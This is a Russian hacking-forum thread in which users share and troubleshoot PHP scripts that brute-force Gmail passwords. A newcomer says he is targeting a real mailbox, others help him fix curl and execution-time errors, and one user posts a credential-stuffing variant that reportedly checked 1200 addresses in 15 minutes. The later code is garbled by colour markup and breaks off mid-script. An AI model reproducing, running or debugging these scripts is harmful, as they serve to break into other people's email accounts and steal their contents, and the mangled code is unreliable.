ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости Mail-сервис (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   LARIKA Gmail Brute Forcer [PHP] (https://forum.antichat.xyz/showthread.php?t=131287)

dvetreti 25.07.2009 11:42

LARIKA Gmail Brute Forcer [PHP]
 
Подскажите новичку, как правильно настроить и запустить этот код:

PHP код:

<?php 
 
// LARIKA Gmail Brute Forcer 
 
$dict "";      // Your dictionary file here 
$username "";  // Your username here 
$proxy "";     // Your proxy here
$port "";      // Your proxy port here
 
    
$headers = array( 
    
"Host: mail.google.com"
    
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"
    
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
    
"Accept-Language: en-us,en;q=0.5"
    
"Accept-Encoding: text"# No gzip, it only clutters your code! 
    
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
    
"Date: ".date(DATE_RFC822
    ); 
 
    
$c curl_init('https://mail.google.com/mail/feed/atom'); 
    
curl_setopt($cCURLOPT_PROXY$proxy);
    
curl_setopt($cCURLOPT_PROXYPORT$port);
    
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication 
    
curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers 
    
curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output! 
    
curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow 
    
curl_setopt($cCURLOPT_SSL_VERIFYPEER0); 
    
curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
    
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised 
    
$wrong curl_exec($c); // Get it 
    
curl_close($c); // Close the curl stream 
 
 
foreach(file($dict) as $line

    
$word str_replace("\r\n"""$line); 
           if(
check_correct($username$word$wrong)) {
            die(
"Found the password : ".$word.""); 
        } 
 

 
 
// Function for checking whether the username and password are correct 
function check_correct($username$password$wrong

$headers1 = array( 
    
"Host: gmail.google.com"
    
"Authorization: Basic ".base64_encode($username.':'.$password), 
    
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"
    
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
    
"Accept-Language: en-gb,en;q=0.5"
    
"Accept-Encoding: text"
    
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
    
"Date: ".date(DATE_RFC822
); 
 
$c curl_init('https://gmail.google.com/gmail/feed/atom'); 
curl_setopt($cCURLOPT_PROXY$proxy);
curl_setopt($cCURLOPT_PROXYPORT$port);
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); 
curl_setopt($cCURLOPT_COOKIESESSIONtrue); 
curl_setopt($cCURLOPT_HTTPHEADER$headers1); 
curl_setopt($cCURLOPT_RETURNTRANSFER1); 
curl_setopt($cCURLOPT_FOLLOWLOCATION1); 
curl_setopt($cCURLOPT_SSL_VERIFYPEER0); 
curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); 
curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
$str curl_exec($c); 
curl_close($c); 
print 
$str// for debug 
        
if($str != $wrong) {return true;} 
        else {return 
false;} 

 
 
?>

После запуска, на странице выскакивает сообщение:
Fatal error: Call to undefined function curl_init() in /home/tu2.ru/n/ni/nic/htdocs/test/index.php on line 20

Может быть не правильно заполняю:
$dict = "pass.txt"
$username = "klgdfs"
$proxy = "212.49.116.186"
$port = "80"

pass.txt положил туда же, куда и php-файл.
мыло реальное, прокси рабочее...

RESPECТ 25.07.2009 14:17

Похоже твой хостинг не поддерживает curl

dvetreti 25.07.2009 20:50

Цитата:

Сообщение от RESPECТ
Похоже твой хостинг не поддерживает curl

Переложил на хостинг с поддержкой curl - ваще ничего не работает. Всё зависает и ошибок не выдает, хотя правильный пароль находится в третьей строчке списка pass.txt :(

RESPECТ 25.07.2009 21:30

Может быть Прокся кривая

dvetreti 26.07.2009 12:53

RESPECТ

Попробовал на Денвере другой код (см. ниже). Вроде бы работает, но через 30 секунд перебора вываливается вот эта хрень:

Fatal error: Maximum execution time of 30 seconds exceeded in Z:\home\test1.ru\www\index.php on line 173

Неужели ещё никто не сделал рабочий брут для gmail? Уже неделю по всему инету ищу и ничего путного найти не могу. Странно как-то и печально. :(

PHP код:

<?php

//////////////////////
////Gmail-Brute//////
//////////////////

////////////////////////
# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
////////////////////////

$dic ="pass.txt";

///////////////////////



echo "
<title>Gmail Brute Force Attacker</title>
</head>
<style type='text/css'>
body {


font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:#444444;
border-color:#CCCCCC;
}
.alert {
    color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Gmail Brute Force Attacker</b></div>
        </td>
    </tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'>

            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
            &nbsp;
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
                <form method='post'>
                    Username to brute:<br>
                    <input name='username' type='text' /><br><br>
                    <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>
                </form>
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
            &nbsp;
            </div>
        </td>
    </tr>
</table>
"
;

// Sets variables and retrives google error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
    
$username $_POST['username'];
    
$headers = array(
    
"Host: mail.google.com",
    
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
    
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
    
"Accept-Language: en-us,en;q=0.5",
    
"Accept-Encoding: text"# No gzip, it only clutters your code!
    
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
    
"Date: ".date(DATE_RFC822)
    );
    
$c curl_init('https://mail.google.com/mail/feed/atom');
    
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
    
curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
    
curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
    
curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
    
curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
    
curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
    
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
    
$wrong curl_exec($c); // Get it
    
curl_close($c); // Close the curl stream
}

//Dictionary Attack
if($_POST['attack'] == "dictionary") {
    
$Dictionary file("$dic");
    for (
$Position 0$Position count($Dictionary); $Position++) {
        
$Dictionary[$Position] = str_replace("\r\n"""$Dictionary[$Position]);
        if(
check_correct($username$Dictionary[$Position])) {
            die(
"<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Found the password of: "
.$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
        </td>
    </tr>
</table>
</body>
</html>"
);
        }
    }
    echo 
"<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>"
.$username."</span> during the dictionar
y attack.</b></div>
        </td>
    </tr>
</table>"
;
}

//Brute Attack
elseif($_POST['attack'] == "brute") {
    for (
$Pass 0$Pass 2$Pass++) {
        if (
$Pass == 0){$Pass "a";} elseif ($Pass == 1){ $Pass "a"; }
        if(
check_correct($username$Pass)) {
            die(
"<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Found the password of: "
.$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
        </td>
    </tr>
</table>
</body>
</html>"
);
        }
    }
    echo 
"<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>"
.$username."</span> during the brute for
ce attack.</b></div>
        </td>
    </tr>
</table>"
;
}
echo 
"</body>
</html>"
;

// Function for checking whether the username and password are correct
function check_correct($username$password)
{
        global 
$wrong$headers;
        
$c curl_init('https://'.$username.':'.$password.'@mail.google.com/mail/feed/atom');
        
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
        
curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
        
curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
        
curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
        
curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
        
curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
        
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
        
$str curl_exec($c); // Get it
        
curl_close($c);
        if(
$str != $wrong) {return true;}
        else {return 
false;}
}


?>


aka PSIH 26.07.2009 13:02

Цитата:

Fatal error: Maximum execution time of 30 seconds exceeded in Z:\home\test1.ru\www\index.php on line 173
добавь в начало кода set_time_limit(0);

Цитата:

Неужели ещё никто не сделал рабочий брут для gmail?
брутов полно, только нужно немного мозга иметь чтобы запустить их ;)

Player#1 26.07.2009 13:03

Fatal error: Maximum execution time of 30 seconds exceeded

Добавь:

<?php ini_set("max_execution_time", "60"); ?>
или
<?php set_time_limit (60); ?>

или же положи в корень сайта файл .htaccess следующего содержания:
php_value max_execution_time 60

Krist_ALL 26.07.2009 13:17

Какие детские вопросы. Прежде че то запускать ,надо разобратся как это работает! То курла нет, то время истекло...

dvetreti 27.07.2009 23:29

Оч смешно. Специально не сказали, что это просто gmail забанил?
Можно подумать, вы родились с клавиатурой в руках.

fatalo 30.07.2009 11:42

Цитата:

Сообщение от dvetreti
Оч смешно. Специально не сказали, что это просто gmail забанил?
Можно подумать, вы родились с клавиатурой в руках.

э?Просто время выполнения скрипта в пыхе по дефолту 30 секунд.Это никак с джимаилом не связано.

dvetreti 02.08.2009 01:50

Цитата:

Сообщение от fatalo
э?Просто время выполнения скрипта в пыхе по дефолту 30 секунд.Это никак с джимаилом не связано.

Спасибо, добрый человек. :)

Vinch3 04.08.2009 12:04

и че пашет твой скрипт?на гмыле вроде смски для апрува ввели

Unknown 21.09.2010 01:44

Подправил, чтоб перебирал по списку email;pass, просканил 1200 адресов минут за 15

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]Gmail Brute Force Attacker

body
{

font:Verdana, Arial, Helvetica, sans-serif;

font-size:12px;

border-color:#FFFFFF;

}

.
raster_table {

background-color:#444444;

border-color:#CCCCCC;

}

.
alert {

color:#FF0000;

}

Gmail Brute Force Attacker























&nbsp;















Username to brute
:



-















&nbsp;







"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#FF8000"]// Sets variables and retrives google error for comparing

[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attack'[/COLOR][COLOR="#007700"]]) && isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]= array(

[/
COLOR][COLOR="#DD0000"]"Host: mail.google.com"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Accept-Language: en-us,en;q=0.5"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Accept-Encoding: text"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#FF8000"]# No gzip, it only clutters your code!

[/COLOR][COLOR="#DD0000"]"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Date: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DATE_RFC822[/COLOR][COLOR="#007700"])

);

[/
COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'https://mail.google.com/mail/feed/atom'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPAUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLAUTH_ANY[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// use authentication

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPHEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// send the headers

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// We need to fetch something from a string, so no direct output!

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// we get redirected, so follow

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYPEER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_UNRESTRICTED_AUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// always stay authorised

[/COLOR][COLOR="#0000BB"]$wrong[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Get it

[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Close the curl stream

[/COLOR][COLOR="#007700"]}

[/
COLOR][COLOR="#FF8000"]//Dictionary Attack

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attack'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"dictionary"[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dic[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);

do {

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

if([/COLOR][COLOR="#0000BB"]check_correct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]])) {

print([/COLOR][COLOR="#DD0000"]"





"
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"





"
[/COLOR][COLOR="#007700"]);

}

} while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"]));

echo[/COLOR][COLOR="#DD0000"]"





Sorry... a password was not found for the account of "
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" during the dictionar

y attack.





"
[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]//Brute Attack

[/COLOR][COLOR="#007700"]elseif([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attack'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"brute"[/COLOR][COLOR="#007700"]) {

for ([/COLOR][COLOR="#0000BB"]$Pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$Pass[/COLOR][COLOR="#007700"]





Found the password of
: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$Position[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"
For the account: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"





"[/COLOR][COLOR="#007700"]);

}

}

echo[/COLOR][COLOR="#DD0000"]"





Sorry... a password was not found for the account of "
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" during the brute for

ce attack.





"
[/COLOR][COLOR="#007700"];

}

echo[/
COLOR][COLOR="#DD0000"]"

"
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]// Function for checking whether the username and password are correct

[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]check_correct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"])

{

global[/COLOR][COLOR="#0000BB"]$wrong[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'https://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'@mail.google.com/mail/feed/atom'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPAUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLAUTH_ANY[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// use authentication

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPHEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// send the headers

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// We need to fetch something from a string, so no direct output!

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// we get redirected, so follow

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYPEER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_UNRESTRICTED_AUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// always stay authorised

[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Get it

[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$wrong[/COLOR][COLOR="#007700"]) {return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];}

else {return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];}

}

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 


HIMIKAT 21.09.2010 03:16

За брут спасибо конечно. А никто не видел реализаций в виде софта? А то я ни разу не встречал.

NemeZz 21.09.2010 19:14

Цитата:

Сообщение от HIMIKAT
За брут спасибо конечно. А никто не видел реализаций в виде софта? А то я ни разу не встречал.

точно был такой софт от Stels-а. Не помню правда, был ли он пабликом.

Avtoritet 06.11.2010 14:01

Цитата:

Сообщение от llexus
Подправил, чтоб перебирал по списку email;pass, просканил 1200 адресов минут за 15
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]Gmail Brute Force Attacker

body
{

font:Verdana, Arial, Helvetica, sans-serif;

font-size:12px;

border-color:#FFFFFF;

}

.
raster_table {

background-color:#444444;

border-color:#CCCCCC;

}

.
alert {

color:#FF0000;

}

Gmail Brute Force Attacker























&nbsp;















Username to brute
:



-















&nbsp;







"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#FF8000"]// Sets variables and retrives google error for comparing

[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attack'[/COLOR][COLOR="#007700"]]) && isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]= array(

[/
COLOR][COLOR="#DD0000"]"Host: mail.google.com"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Accept-Language: en-us,en;q=0.5"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Accept-Encoding: text"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#FF8000"]# No gzip, it only clutters your code!

[/COLOR][COLOR="#DD0000"]"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]"Date: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DATE_RFC822[/COLOR][COLOR="#007700"])

);

[/
